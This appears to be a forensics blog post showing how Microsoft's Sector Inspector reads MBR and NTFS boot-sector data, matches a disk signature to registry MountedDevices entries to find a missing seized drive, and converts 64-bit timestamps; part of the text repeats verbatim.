Hidden Sectors : 63
Large Sectors : 0 ( 0 MB )
ClustersPerFRS : 246
Clust/IndxAllocBuf : 1
NumberSectors : 163846871 ( 80003.4 MB )
MftStartLcn : 786432
Mft2StartLcn : 10240429
SerialNumber : 6388384532698611716
Checksum : 0 (0x0)
---------------------------------------------------------------------------
Just that simple command spits out a bunch of useful information about the drives in your system(I am only showing you one of my drives).
The two pieces of text in bold are important for two different sets of people. The first - the disk signature is used to map a Physical drive to a logical drive letter. In the MBR it lives at offset 0x1b8 and is 4 bytes long, and it can also be found in the registry under the MountedDevices key. This is useful information for at least one major reason; Corroboration.
Here's a little scenario:
You seize a system and note that there is only one drive present in the system. You acquire an image of the disk and you note that the disk had two partitions (C: D:) and during analysis you look in HKLM\SYSTEM\MountedDevices. You see a DosDevice labeled \DosDevices\E:(assume that E: is actually on a different physical volume for this) but you know that you didn't find another disk in the system at the time. Looking at the first 4 bytes of the value for \DosDevices\E: you see the Disk Signature that looks like this:
0000 EF E0 EF E0
Now you know you're looking for a drive with a disk signature of EFE0EFE0. When you go back to the scene and search some more you find a disk buried in a drawer. After you image this disk, you run secinpsect -n and find that the disk signature matches the missing Volume and DosDevice Information in the registry. I know there are other tools that do this..but secinspect is free and we all like free.
The second bit of bolded text is useful for people wanting to restore corrupted or missing boot sectors.
Note that the tool also shows you the logical cluster number of where the MFT starts.
One other useful feature of the tool is you can convert 64Bit hex file times to UTC format. Take the Vista Backup Time I talked about previously and used Dcode to convert the timestamp.
That value 704ac9ebcc6dc701, was a 64 bit timestamp. Using secinspect I can convert the time via the commandline:
C:\Program Files\Windows Resource Kits\Tools\secinspect.exe -time 01c76dccebc94a70
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
UTC TIME 03/24/2007 04:28:49.0994
That's pretty sweet.
What the heck does it do?
Well, Microsoft explains it like this: SecInspect.exe is a command-line diagnostics tool that allows administrators to view the contents of master boot records, boot sectors, and IA64 GUID partition tables. Additional features include creating hex dumps of binary files and backup/restore of sector ranges. YES Linux does and has had this capability for...years.
Sounds kind of cool eh?
Let's see what this thing can do.
c:\Program Files\Windows Resource Kits\Tools>secinspect.exe -n
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
===========================================================================
Target - \\.\PHYSICALDRIVE0
18241 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
===========================================================================
Master Boot Record
===========================================================================
| B | FS TYPE | START | END | | |
| F | (hex) | C H S| C H S| RELATIVE | TOTAL |
===========================================================================
| * | 07 | 0 1 1|1023 254 63| 63| 163846872|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
===========================================================================
Disk Signature 0xe0efe0ef
Partition #1 NTFS backup boot sector at LBN 163846934.
---------------------------------------------------------------------------
Primary Partition 1
NTFS BIOS Parameter Block Information
BytesPerSector : 512
Sectors Per Cluster : 8
ReservedSectors : 0
Fats : 0
RootEntries : 0
Small Sectors : 0 ( 0 MB )
Media Type : 248 ( 0xf8 )
SectorsPerFat : 0
SectorsPerTrack : 63
Heads : 255
Hidden Sectors : 63
Large Sectors : 0 ( 0 MB )
ClustersPerFRS : 246
Clust/IndxAllocBuf : 1
NumberSectors : 163846871 ( 80003.4 MB )
MftStartLcn : 786432
Mft2StartLcn : 10240429
SerialNumber : 6388384532698611716
Checksum : 0 (0x0)
---------------------------------------------------------------------------
Just that simple command spits out a bunch of useful information about the drives in your system(I am only showing you one of my drives).
The two pieces of text in bold are important for two different sets of people. The first - the disk signature is used to map a Physical drive to a logical drive letter. In the MBR it lives at offset 0x1b8 and is 4 bytes long, and it can also be found in the registry under the MountedDevices key. This is useful information for at least one major reason; Corroboration.
Here's a little scenario:
You seize a system and note that there is only one drive present in the system. You acquire an image of the disk and you note that the disk had two partitions (C: D:) and during analysis you look in HKLM\SYSTEM\MountedDevices. You see a DosDevice labeled \DosDevices\E:(assume that E: is actually on a different physical volume for this) but you know that you didn't find another disk in the system at the time. Looking at the first 4 bytes of the value for \DosDevices\E: you see the Disk Signature that looks like this:
0000 EF E0 EF E0
Now you know you're looking for a drive with a disk signature of EFE0EFE0. When you go back to the scene and search some more you find a disk buried in a drawer. After you image this disk, you run secinpsect -n and find that the disk signature matches the missing Volume and DosDevice Information in the registry. I know there are other tools that do this..but secinspect is free and we all like free.
The second bit of bolded text is useful for people wanting to restore corrupted or missing boot sectors.
Note that the tool also shows you the logical cluster number of where the MFT starts.
One other useful feature of the tool is you can convert 64Bit hex file times to UTC format. Take the Vista Backup Time I talked about previously and used Dcode to convert the timestamp.
That value 704ac9ebcc6dc701, was a 64 bit timestamp. Using secinspect I can convert the time via the commandline:
C:\Program Files\Windows Resource Kits\Tools\secinspect.exe -time 01c76dccebc94a70
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
UTC TIME 03/24/2007 04:28:49.0994
That's pretty sweet.
Subscribe to:
Posts (Atom)
